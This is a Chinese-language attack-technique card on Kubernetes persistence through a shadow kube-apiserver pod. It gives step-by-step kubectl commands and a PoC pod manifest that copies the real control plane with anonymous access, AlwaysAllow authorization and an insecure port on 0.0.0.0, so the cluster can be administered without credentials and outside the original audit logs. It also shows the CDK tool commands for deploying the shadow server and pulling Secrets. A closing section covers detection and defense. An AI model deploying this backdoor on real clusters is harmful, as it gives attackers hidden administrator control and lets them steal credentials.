K8s Shadow API Server 持久化:复制 kube-apiserver 起一个 AlwaysAllow + 匿名 insecure 端口的影子控制面,绕过原 API Server 审计
cloud/k8s · verified
一句话结论
在已获得高权限(可创建 kube-system 工作负载/读取控制面配置)的前提下,攻击者可复制原 kube-apiserver Pod 的 YAML,改造出一个新的 "kube-apiserver-shadow" Pod:复用同一套 etcd/证书与 hostPath,开启 --anonymous-auth=true、--authorization-mode=AlwaysAllow,并在 0.0.0.0 上开放 insecure 端口。此后集群内任意 Pod 都能通过该影子控制面无凭证管理集群,而原有 API Server 不记录这些操作,且 Pod 的 restartPolicy: Always 让控制通道长期存活。
原理
- 为什么需要影子控制面:直接使用原 API Server 的高权限 SA/凭据容易在原审计日志中留下痕迹,且原凭据可能轮换/被回收。Shadow API Server 是一个独立进程,连的是同一个 etcd、使用同一套证书,但鉴权策略是
AlwaysAllow且开了匿名 insecure 端口,等于给攻击者留了一个不受原审计约束的后门控制面。 - 构造方式:
kubectl get pods -n kube-system kube-apiserver-master -o yaml拿到原控制面 Pod 定义,复制后修改: --allow-privileged=true;--insecure-port=<port>、--insecure-bind-address=0.0.0.0(原文文本写 6445,yaml 中实际为 9443/--secure-port=9444,以实际环境为准);--anonymous-auth=true、--authorization-mode=AlwaysAllow;- 删除
status、metadata.selfLink/uid/annotations/resourceVersion/creationTimestamp、spec.tolerations等由集群管理的字段; hostNetwork: true、nodeName: master、priorityClassName: system-cluster-critical,挂载/etc/kubernetes/pki、/etc/ssl/certs、/etc/pki等原证书/配置目录。- 为什么能无凭证访问:
--anonymous-auth=true让未认证请求以system:anonymous身份进入,--authorization-mode=AlwaysAllow则对该身份放行所有 API;insecure 端口本身不走 TLS 客户端证书。因此集群内任意能访问该端口的 Pod(甚至外部,若网络可达)都可kubectl -s http://<node>:<port>管理集群。 - 为什么隐蔽且持久:Pod 归属
kube-system、名字/标签伪装成控制面组件(component: kube-apiserver-shadow、tier: control-plane、ownerReferences指向 Node),原 API Server 的审计日志只记录 Pod 创建这一件事,后续通过影子端口的操作不会进入原审计流;restartPolicy: Always+ 控制器/静态属性使其持续运行。 - 影响:攻击者可通过影子控制面读取所有 Secret(集群凭据、云密钥、镜像仓库口令)、创建特权 Pod 逃逸、横向等,等价于集群管理员。
触发条件
- 攻击者已具备创建 Pod/工作负载到
kube-system(或能以 system-cluster-critical 优先级、hostNetwork、hostPath 创建 Pod)的高权限,能读取原 kube-apiserver Pod 定义。 - 控制面节点允许再起一个 kube-apiserver 进程(资源、端口、证书/etcd 可达)。
- 影子 insecure 端口可从攻击者/目标 Pod 网络访问;NetworkPolicy 未阻断。
- 仅限授权测试。
利用步骤
kubectl get pods -n kube-system | grep kube-apiserver确认控制面 Pod;kubectl get pods -n kube-system kube-apiserver-master -o yaml导出定义。- 复制并修改 YAML:加入
--allow-privileged=true、--anonymous-auth=true、--authorization-mode=AlwaysAllow、insecure 端口与0.0.0.0绑定;删除 status/metadata 运行时字段与 tolerations;确保hostNetwork: true、nodeName: master、证书和 etcd 配置挂载正确。 kubectl create -f api.yaml创建kube-apiserver-shadowPod;确认 Pod Running、端口监听。- 未授权验证:浏览器访问
http://<node>:<insecure-port>/(insecure 端口为明文 HTTP)或kubectl -s http://<node>:<insecure-port> get nodes无需任何凭据即返回集群资源。 - 通过影子控制面读取 Secret、创建特权 Pod 等;原文用 CDK:先
cdk evaluate发现高权限 SA,再cdk run k8s-shadow-apiserver default部署,随后从影子 API 拉取 Secrets。 - 持久化:Pod 的
restartPolicy: Always使其随节点/进程重启恢复;清理需删除该 Pod 并排查是否还有类似伪装的控制面工作负载。
PoC
apiVersion: v1
kind: Pod
metadata:
name: kube-apiserver-shadow
namespace: kube-system
labels:
component: kube-apiserver-shadow
tier: control-plane
spec:
hostNetwork: true
nodeName: master
priorityClassName: system-cluster-critical
restartPolicy: Always
containers:
- name: kube-apiserver
image: registry.aliyuncs.com/google_containers/kube-apiserver:v1.17.4
command:
- kube-apiserver
- --allow-privileged=true
- --anonymous-auth=true
- --authorization-mode=AlwaysAllow
- --insecure-port=9443
- --insecure-bind-address=0.0.0.0
# ... 复用原 --etcd-servers / --client-ca-file / --tls-* 等参数与 hostPath 挂载
kubectl create -f api.yaml
kubectl -s http://192.168.17.144:9443 get nodes # 无凭证
原文实测(工具 Section 使用 CDK):cdk evaluate 发现高权限 SA 后 cdk run k8s-shadow-apiserver default 部署成功,任意 Pod 可向影子 API 发请求并读取 Secrets;本地图片未收录该节截图,故置信度 medium。
变体与关联
- 变体:可改
--secure-port+--anonymous-auth=true/AlwaysAllow 而不开 insecure 端口;也可用kubectl proxy/静态 Pod manifest 写入控制面节点等方式构造影子入口;CDK 的k8s-shadow-apiserver是该技术的工具化实现。 - 关联:[[cloud-k8s-k8s-apiserver-anonymous-access]](原 API Server 自身匿名/8080 不安全端口,与本卡"另起影子实例"不同)、[[cloud-k8s-workload-controller-backdoor-persistence-privileged-pod]](工作负载持久化)、[[cloud-k8s-control-plane-ca-system-masters-cert-forge]](控制面证书滥用)。
- 边界:需要高权限创建 kube-system/hostNetwork Pod 与访问控制面证书;严格准入(禁止 hostPath/hostNetwork、限制 kube-system 写权限)和端口暴露限制可阻断;对比原 API Server 审计可发现影子 Pod 的创建事件。
检测与防御
- 防御:严格控制谁能创建 kube-system/hostNetwork/hostPath Pod;启用 PodSecurity/OPA 禁止此类工作负载;限制 insecure 端口与 0.0.0.0 绑定(新版本已默认禁用 insecure port);监控控制面节点的额外 apiserver 进程/端口。
- 检测:kube-system 出现非官方命名的 kube-apiserver Pod(如
kube-apiserver-shadow)、带--anonymous-auth=true/AlwaysAllow参数的工作负载;节点上出现额外kube-apiserver监听端口;API 审计中 Pod create 事件指向伪造控制面;从影子端口产生的请求不在原审计日志中。 - 注意:影子控制面连的是同一 etcd,读到的 Secret 与真实集群一致;发现后需立即删除 Pod、轮换集群凭据并审计所有 Secret 访问。